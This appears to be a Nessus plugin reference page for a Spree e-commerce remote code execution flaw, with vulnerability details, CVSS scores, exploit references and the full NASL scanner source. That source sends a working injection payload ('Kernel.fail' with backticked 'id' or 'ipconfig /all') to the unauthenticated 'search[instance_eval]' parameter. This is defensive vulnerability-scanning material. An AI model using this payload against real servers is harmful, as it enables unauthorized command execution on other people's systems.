Spreecommerce api/orders.json Search Function Arbitrary Command Execution - Nessus

High   Plugin ID: 53633

This page contains detailed information about the Spreecommerce api/orders.json Search Function Arbitrary Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 53633
Name: Spreecommerce api/orders.json Search Function Arbitrary Command Execution
Filename: spree_search_cmd_exec.nasl
Vulnerability Published: 2011-04-19
This Plugin Published: 2011-05-03
Last Modification Time: 2022-04-11
Plugin Version: 1.13
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: http_version.nasl, os_fingerprint.nasl
Excluded KB Items [?]: Settings/disable_cgi_scanning

Vulnerability Information


Severity: High
Vulnerability Published: 2011-04-19
Patch Published: 2011-04-19
CVE [?]: N/A
CPE [?]: N/A

Synopsis

The remote web server hosts a web application that allows arbitrary command execution.

Description

The remote web server hosts Spree, an open source e-commerce application for Ruby on Rails.

The version of this application installed on the remote host has a flaw in the third-party 'rd_searchlogic' Ruby gem. An unauthenticated, remote attacker can inject arbitrary Ruby code via the 'search[instance_eval]' parameter of the 'api/orders.json' script to be executed on the remote host subject to the privileges under which the web server operates.

Solution

Upgrade to Spree version 0.50.x or later.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Spreecommerce api/orders.json Search Function Arbitrary Command Execution vulnerability:

  1. Metasploit: exploit/multi/http/spree_searchlogic_exec
    [Spreecommerce Arbitrary Command Execution]
  2. Exploit-DB: exploits/unix/remote/17199.rb
    [EDB-17199: Spreecommerce < 0.50.0 - Arbitrary Command Execution (Metasploit)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.2 (Medium)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C
CVSS Base Score:8.8 (High)
Impact Subscore:5.9
Exploitability Subscore:2.8
CVSS Temporal Score:8.2 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.2 (High)

Go back to menu.

Plugin Source


This is the spree_search_cmd_exec.nasl nessus plugin source code. This script is Copyright (C) 2011-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(53633);
  script_version("1.13");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
  script_bugtraq_id(47543);
  script_xref(name:"EDB-ID", value:"17199");

  script_name(english:"Spreecommerce api/orders.json Search Function Arbitrary Command Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a web application that allows arbitrary
command execution.");
  script_set_attribute(attribute:"description", value:
"The remote web server hosts Spree, an open source e-commerce
application for Ruby on Rails.

The version of this application installed on the remote host has a
flaw in the third-party 'rd_searchlogic' Ruby gem. An
unauthenticated, remote attacker can inject arbitrary Ruby code via the
'search[instance_eval]' parameter of the 'api/orders.json' script to
be executed on the remote host subject to the privileges under which
the web server operates.");
  script_set_attribute(attribute:"see_also", value:"http://www.spreecommerce.com/blog/2011/04/19/security-fixes");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Spree version 0.50.x or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Spreecommerce Arbitrary Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2011/04/19");
  script_set_attribute(attribute:"patch_publication_date", value:"2011/04/19");
  script_set_attribute(attribute:"plugin_publication_date", value:"2011/05/03");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2011-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "os_fingerprint.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("webapp_func.inc");
include("data_protection.inc");


port = get_http_port(default:80);


os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = 'ipconfig /all';
  else cmd = 'id';

  cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig /all');

cmd_pats = make_array();
cmd_pats['id'] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats["ipconfig /all"] = "Subnet Mask";


# Loop through directories.
if (thorough_tests) dirs = list_uniq(make_list("/spree", "/store", cgi_dirs()));
else dirs = make_list(cgi_dirs());

disable_cookiejar();
found_cmd = "";
output = "";
installs = 0;
vuln_req = "";
vuln_urls = make_list();

foreach dir (dirs)
{
  # Try to exploit the issue to run a command.
  foreach cmd (cmds)
  {
    # Once we find a command that works, stick with it for any subsequent tests.
    if (found_cmd && cmd != found_cmd) continue;

    exploit = 'Kernel.fail `'+cmd+'`';

    url = dir + '/api/orders.json?' +
      'search[instance_eval]=' + urlencode(str:exploit);

    res = http_send_recv3(
      port         : port,
      method       : "GET",
      item         : url,
      add_headers  : make_array("HTTP_AUTHORIZATION", "ABCD"),
      exit_on_fail : TRUE
    );
    if (!res[2]) continue;

    # If the output looks like it's from the script...
    if (
      (
        '<title>Action Controller' >< res[2] &&
        'in Api/ordersController' >< res[2]
      ) ||
      'Powered by <a href="http://spreecommerce.com/">Spree</a>' >< res[2] ||
      (
        'meta name="csrf-param" content="authenticity_token"/>' >< res[2] &&
        '<select id="taxon" name="taxon"><option value="">All departments</option>' >< res[2]
      )
    )
    {
      installs++;
    }
    # otherwise continue unless we're being paranoid.
    else if (report_paranoia < 2)
    {
      continue;
    }

    if (egrep(pattern:cmd_pats[cmd], string:res[2]))
    {
      vuln_urls = make_list(vuln_urls, dir+'/');
      if (!vuln_req) vuln_req = http_last_sent_request();
      if (!output)
      {
        found_cmd = cmd;
        output = strstr(res[2], "<pre>(eval):1:in `send': ") - "<pre>(eval):1:in `send': ";
        output = output - strstr(output, "</pre>");
        if (!egrep(pattern:cmd_pats[cmd], string:output)) output = "";
      }
      break;
    }
  }
  if (output && !thorough_tests) break;
}

if (max_index(vuln_urls))
{
  if (report_verbosity > 0)
  {
    if (max_index(vuln_urls) == 1) s = '';
    else s = 's';
    header =
      "Nessus was able to execute the command '" + cmd + "' on the remote" + '\n' +
      'host using the following Spree install' + s;

    trailer = 'by sending a request such as :' +
      '\n' +
      '\n' + crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) +
      '\n' + chomp(vuln_req) +
      '\n' + crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n';

    if (report_verbosity > 1)
    {
      trailer +=
        '\n' +
        'This produced the following output :\n' +
        '\n' +
        crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
        data_protection::sanitize_uid(output:chomp(output)) + '\n' +
        crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n';
    }
    report = get_vuln_report(items:vuln_urls, port:port, header:header, trailer:trailer);
    security_hole(port:port, extra:report);
  }
  else security_hole(port);
  exit(0);
}
else
{
  if (installs == 0) exit(0, "No installs of Spree were found on the web server on port "+port+".");
  else if (installs == 1) exit(0, "The Spree install hosted on the web server on port "+port+" is not affected.");
  else exit(0, "The Spree installs hosted on the web server on port "+port+" are not affected.");
}

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/spree_search_cmd_exec.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\spree_search_cmd_exec.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/spree_search_cmd_exec.nasl

Go back to menu.

How to Run


Here is how to run the Spreecommerce api/orders.json Search Function Arbitrary Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Spreecommerce api/orders.json Search Function Arbitrary Command Execution plugin ID 53633.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl spree_search_cmd_exec.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a spree_search_cmd_exec.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - spree_search_cmd_exec.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state spree_search_cmd_exec.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 22123 - TWiki configure Script Arbitrary Command Execution
  • 23963 - Cacti cmd.php Multiple Parameter SQL Injection Arbitrary Command Execution
  • 23966 - Ultimate PHP Board chat/login.php username Parameter Arbitrary Command Execution
  • 25674 - AsteriDex callboth.php Multiple Parameter CRLF Injection Arbitrary Command Execution
  • 26968 - TikiWiki tiki-graph_formula.php f Parameter Arbitrary Command Execution
  • 30124 - Smart Publisher index.php filedata Parameter Arbitrary Command Execution
  • 30132 - Coppermine imageObjectIM.class.php Command Execution Vulnerabilities
  • 31167 - Sniplets Plugin for WordPress execute.php 'text' Parameter Arbitrary Command Execution
  • 34292 - Observer <= 0.3.2.1 Multiple Remote Command Execution Vulnerabilities
  • 35090 - Moodle 'filter/tex/texed.php' 'pathname' Parameter Remote Command Execution
  • 40592 - WP-Syntax Plugin for WordPress 'apply_filters' function Command Execution
  • 43155 - HP OpenView Network Node Manager Multiple Scripts hostname Parameter Remote Command Execution
  • 44675 - GIT gitweb git_snapshot / git_object Shell Metacharacter Arbitrary Command Execution
  • 45345 - eScan MWAdmin forgotpassword.php uname Parameter Arbitrary Command Execution
  • 49088 - SnortReport nmap.php target Parameter Arbitrary Command Execution
  • 50510 - FreeNAS 'exec_raw.php' Arbitrary Command Execution
  • 53336 - GIT gitweb git_search Shell Metacharacter Arbitrary Command Execution
  • 57350 - Plone Request Parsing Remote Command Execution
  • 57576 - op5 Portal Arbitrary Command Execution
  • 57578 - op5 Config Arbitrary Command Execution
  • 57850 - Apache Struts 2 ParameterInterceptor Class OGNL Expression Parsing Remote Command Execution
  • 61435 - Symantec Web Gateway Multiple Script Shell Command Execution (SYM12-011)
  • 61517 - Umbraco codeEditorSave.asmx SaveDLRScript Operation Traversal File Upload Arbitrary Command Execution
  • 62293 - SAP Host Control SOAP Web Service 'Database/Name' Command Execution (SAP Note 1341333)
  • 62737 - WANem result.php pc Parameter Remote Command Execution
  • 63111 - Narcissus backend.php release Parameter Remote Command Execution
  • 64096 - Movable Type mt-upgrade.cgi Remote Command Execution
  • 64293 - ViArt Shop sips_response.php DATA Parameter Request Parsing Remote Shell Command Execution
  • 65127 - Adobe InDesign Server RunScript Arbitrary Command Execution
  • 66931 - Apache Struts 2 OGNL Expression Handling Double Evaluation Error Remote Command Execution
  • 66935 - Apache Struts 2 Crafted Parameter Arbitrary OGNL Expression Remote Command Execution
  • 68981 - Apache Struts 2 'action:' Parameter Arbitrary Remote Command Execution
  • 69240 - Apache Struts 2 ExceptionDelegator Arbitrary Remote Command Execution
  • 70585 - NETGEAR ReadyNAS Remote Unauthenticated Command Execution

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file spree_search_cmd_exec.nasl version 1.13. For more plugins, visit the Nessus Plugin Library.

Go back to menu.